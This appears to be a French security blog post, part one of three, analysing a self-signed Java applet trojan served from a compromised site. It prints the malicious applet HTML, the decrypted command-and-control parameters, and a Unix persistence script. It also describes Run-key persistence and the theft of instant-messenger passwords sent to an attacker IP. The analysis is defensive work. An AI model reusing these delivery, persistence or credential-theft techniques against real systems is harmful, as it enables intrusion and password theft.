Analyse d'un cheval de Troie écrit en Java (1/3)

Wed 03 October 2007 by JB

Ce document présente l'analyse un cheval de Troie qui s'installe sur le poste de la cible via son navigateur. Il s'agit d'une applet Java auto-signée, pouvant donc accéder au disque local. Il utilise en outre une bibliothèque dynamique en C/C++, interfacées avec le Java, pour étendre son emprise sur le système.

L'intérêt de ce cheval de Troie tient en plusieurs points :

  • il n'utilise aucun exploit pour compromettre la machine cible ;
  • il est (presque) indépendant du système d'exploitation car essentiellement réalisé en Java ;
  • il échappe aux détections grâce à des astuces simples et efficaces.

Tout part d'un site compromis par un pirate...

Le serveur primo-infectant

Le cheval de Troie s'installe au travers d'un site web compromis qui télécharge et exécute du code sur le poste client venant visiter lesite :

http://www.alignbhpilates.com/public/

Quand un navigateur demande la page en question, il reçoit la page par défaut :

<HTML>
<HEAD>
<TITLE>
</TITLE>
</HEAD>

<Frameset rows=2,* cols=100% border="0">

<FRAME src="edit_applet_html.html" name="iki">
<FRame src="design.html" name="bir">

</Frameset>

</HTML>

Cette page par défaut ouvre 2 frames. En tant que telle, la frame design.html n'apporte rien d'intéressant, si ce n'est une sorte de signature pour les sites compromis. En effet, elle contient :

<html>
<head>
<title>SWiSH [tt2.swi]</title>
</head>
<body bgcolor="#000000">
<center>
</center>
</body>
</html>

En recherchant les pages web ayant pour titre tt2.swi, on obtient plusieurs réponses.

Par ailleurs, la page edit_applet_html.html lance une applet Java avec certains paramètres. À noter que les paramètres de l'applet changent d'un site à l'autre.

<applet code="Function.class" archive="JDukeApplet.jar">
  <PARAM NAME="cabbase" Value="Flash.class">
  <PARAM NAME="Alarm" Value="207 15 0 37 207 32 218 29 163 120 215 " >
  <PARAM NAME="PORT" Value="207 15 134 175 207 152 ">
  <PARAM NAME="Target" Value="http://www.google.com">
  <PARAM NAME="Sekil" Value="bir">
  <PARAM NAME="Programmer" Value="Programmed by Kadir BASOL">
  <PARAM NAME="UIN" Value="85175907">
  <PARAM NAME="URL" Value="195 11 153 52 214 22 92 47 163 191 139191 207 22 1 51 195 160 50 52 166 18 109 120 40 175 52 47 166 32 109 52 166 11 152">
  <PARAM NAME="AutoController" Value="true">
  <PARAM NAME="AutoDestroyOnClickNo" Value="true">
</applet>

Nous devons maintenant analyser l'applet pour voir la manière dont elle infecte le système cible, puis les opérations qu'elle permet de réaliser.

L'applet JDukeApplet.jar

Cette section détaille l'infection réalisée par l'applet principale, JDukeApplet.jar, chargée par la frame edit_applet_html.html vue précédemment. Nous présentons l'exécution telle qu'elle se passe, pas à pas.

Contenu de l'archive JDukeApplet.jar

L'archive est au format .zip, comme tout .jar qui se respecte : on extrait les fichiers simplement.

>> file JDukeApplet.jar
JDukeApplet.jar: Zip archive data, at least v2.0 to extract

>> unzip JDukeApplet.jar
Archive:  JDukeApplet.jar
  inflating: META-INF/MANIFEST.MF
  inflating: META-INF/KBDJAPPL.SF
  inflating: META-INF/KBDJAPPL.RSA
  inflating: NativeKaynaklar.class
  inflating: Decyrptor.class
  inflating: Function.class
  inflating: JarUpdate.class

La présence du répertoire META-INF, et en particulier du fichier KBDJAPPL.RSA (une clé publique) nous indique que l'applet est signée :

>> keytool  -printcert  -file KBDJAPPL.RSA
Owner: CN=Unknown Person, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=UN
Issuer: CN=Unknown Person, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=UN
Serial number: 41c59c7d
Valid from: Sun Dec 19 16:21:33 CET 2004 until: Sat Mar 19 16:21:33 CET 2005
Certificate fingerprints:
         MD5:  51:CA:19:AB:44:C2:FC:65:35:A9:33:4F:82:D6:EC:6A
         SHA1: 9C:D1:BF:27:BE:0F:3F:CB:AB:A8:6E:1F:33:00:0C:31:0C:54:81:83

Bien que le certificat soit expiré, cela n'empêche pas l'applet de s'exécuter. Notons aussi les initiales KBD sur lesquelles nous reviendrons par la suite.

Déchiffrement des paramètres

Afin de ne pas perdre de temps, nous ne cherchons même pas à comprendre le chiffrement mis en place, mais utilisons directement la classe fournie par l'applet pour créer notre routine de déchiffrement et récupérer les paramètres de l'applet en clair :

import java.io.*;

class MyDecrypt {
    public static void main (String[] args) {
        Decyrptor dec = new Decyrptor();
        System.out.print("Alarm: ");
        System.out.println(dec.Decyrpt("207 15 0 37 207 32 218 29 163 120 215"));
        System.out.print("PORT: ");
        System.out.println(dec.Decyrpt("207 15 134 175 207 152"));
        System.out.print("URL: ");
        System.out.println(dec.Decyrpt("195 11 153 52 214 22 92 47 163 191 139" +
                                       "191 207 22 1 51 195 160 50 52 166 18 109" +
                                       "120 40 175 52 47 166 32 109 52 166 11 152"));
    }
}

On obtient alors le clair suivant :

Alarm: 10.0.0.6
PORT: 1961
URL: http://www.300sixty.com/x.txt

On récupère le fichier x.txt. Il contient une adresse IP, qui change avec le temps. Ainsi, nous avons pu récolter les adresses 85.98.228.156, 81.215.244.47 ou encore 81.214.170.234. Toutes sont dans la classe 81.215.128.0/17 appartenant à TurkTelecom.

Le domaine 300sixty.com est enregistré aux États-Unis. Il s'agit d'un site consacré aux critiques de musique, poésie, photographie, etc., sans doute compromis par ailleurs.

Exécution de l'applet malicieuse

L'applet démarre dans Function.java qui hérite de la classe Applet, mais implémente la classe Thread : cette classe peut donc fonctionner dans un navigateur, mais aussi en tant que processus indépendant, ce qui lui fournit un autre moyen d'infection.

En tant qu'applet, la fonction init() est d'abord appelée. En particulier, elle contrôle le paramètre programmer de l'applet qui doit être égal à Programmed by Kadir  BASOL, sans quoi elle quitte immédiatement, ce qui est bien la valeur que nous avons dans la page edit_applet_html.html.

Par l'intermédiaire de la fonction init(), l'applet récupère les paramètres passés dans la page web (URL, PORT, ...). Un thread est alors démarré (fonction start()), et exécute run(). Des informations systèmes sont récupérées : java.home, os.name, user.home, user.name et file.separator.

Si la cible tourne sous Windows, il récupère sur le site initial, alignbhpilates.com dans notre cas, un fichier supplémentaire, STDMSExt.class, et le sauvegarde sous le nom $(user.home)/Function.zip (user.home vaut %HOMEPATH% sous Windows et $HOME sous Unix). Une autre archive, Hedef.jar est également récupérée, puis sauvegardée sous le nom $(user.home)/JavaVirtualMachine.jar.

À partir de là, l'exécution de la méthode run() change selon le système d'exploitation.

Le thread malicieux sous Unix

Si l'applet tourne sur Linux, HP-UX, AIX, Irix, FreeBSD ou de manière plus générale, sous Unix, elle vérifie alors que l'utilisateur est root. Elle crée le fichier /etc/init.d/.netbios contenant :

#!/bin/sh

$(java.home)//bin/java -jar /etc/init.d/.netbios

En fait, cela ne fonctionne pas car il tente de se lancer lui-même sous forme d'un programme Java alors que c'est un script shell !

Le thread malicieux sous Windows

Comme vu précédemment, l'applet récupère STDMSExt.class, fichier qui contient l'en-tête 0xcafebabe, propre aux classes Java. Il s'agit d'une mesure destinée à tromper une éventuelle analyse de code malicieux inline : l'anti-virus ou le proxy voit effectivement passer un fichier dont l'extension est .class, avec un en-tête valide, ce qui satisfait les vérifications de la plupart des filtres. Cependant, tout comme l'applet, on peut extraire le contenu de cette pseudo-classe puisque c'est une archive .zip :

>> unzip STDMSExt.class
Archive:  STDMSExt.class
warning [STDMSExt.class]:  4 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  inflating: JDukeNative.dll
  inflating: xynx.hex

Ces fichiers sont extraits par l'applet dans le dossier %SYSTEM%. xynx.hex est renommé en User_Info.exe. Il s'agit en fait du programme MessenPass. Les fichiers contiennent eux aussi un en-tête Java, alors qu'il s'agit de fichiers PE (des exécutables pour Windows). Le binaire xynx.hex est en réalité Instant Messengers Password Recovery 1.02, un programme développé par NirSoft permettant de retrouver le mot de passe de la plupart des clients de messagerie existants (MSN Messenger, Windows Messenger, Yahoo Messenger, Google Talk, ICQ Lite, AOL Instant Messenger, Trillian, Miranda, GAIM, etc.).

L'étape suivante est de démarrer le code sauvegardé dans JavaVirtualMachine.jar. Tout d'abord un fichier Twain.class est créé puis ajouté à l'archive. Il contient les paramètres de l'applet: dans l'ordre Alarm, PORT, URL et AutoController, précédés d'un en-tête DATAX. Ce qui donne ici :

// Fichier Twain.class
DATAX
207 15 0 37 207 32 218 29 163 120 215
207 15 134 175 207 152
195 11 153 52 214 22 92 47 163 191 139 191 207 22 1 51 195 160 50 52 166 18
109 120 40 175 52 47 166 32 109 52 166 11 152
true

Une fois Twain.class ajouté, l'archive est lancée. La clé HKLM\\SOFTWARE\\Microsoft\\\rWindows\\CurrentVersion\\Run\\\rJVM_Service est ajoutée à la base de registres pour que JavaVirtualMachine.jar soit démarrée à chaque lancement de l'ordinateur.

La machine est maintenant infectée. Pour finir, la liste des mots de\rpasse des clients de messagerie est récupérée via User_Info.exe, puis envoyée vers l'IP de Alarm sur le port 80. Or, pour le moment, le paramètre Alarm n'a pas été mis à jour (il l'est par la suite), et ils sont donc envoyés vers l'adresse 10.0.0.6.

Pourquoi l'applet arrive à écrire sur le disque local ?

Réponse courte : parce que l'applet est signée.

En Java, les applets ont des droits très restreints par défaut puisqu'il s'agit de code exécuté du côté du client, et développé par on ne sait trop qui. La politique de sécurité de la machine virtuelle Java bloque donc l'accès en dehors de la sandbox dans laquelle tourne l'applet. À l'inverse, une application locale écrite en Java n'est pas soumise à ces restrictions.

Cependant, on souhaite parfois qu'une applet puisse effectuer certaines actions sur le poste où elle s'exécute, comme lire ou écrire un fichier. Pour cela, il suffit de signer l'applet, c'est-à-dire que le développeur s'engage à ce que l'applet soit correcte (charge à celui qui la laisse s'exécuter de lui faire confiance ...ou pas). Quand le navigateur arrive sur une page avec une applet signée, un popup apparaît, informant l'utilisateur que l'applet est signée et lui demandant s'il souhaite ou non l'exécuter. À aucun moment ce message précise pourquoi l'applet est signée, ni quelles opérations elle entreprend.

1.png

Popup avertissant que l'applet ``JDukeApplet.jar`` est signée

Créer une applet signée est extrêmement simple :

;; Créer un certificat
>> keytool -genkey -alias fred

;; Signer l'archive .jar
>> javac  Test.java
>> jar  cvf Test2.jar Test.class
>> jarsigner -signedjar Test.jar Test2.jar fred

Dès lors, l'applet peut accéder au contenu du disque dur, en lecture et écriture.

Si le premier popup n'est pas très explicite sur les risques encourus, les messages affichés quand on demande plus d'information le sont à peine plus, tout juste de quoi dissuader un utilisateur quelconque.

2.png Message signalant que le certificat de l'applet ``JDukeApplet.jar`` a expiré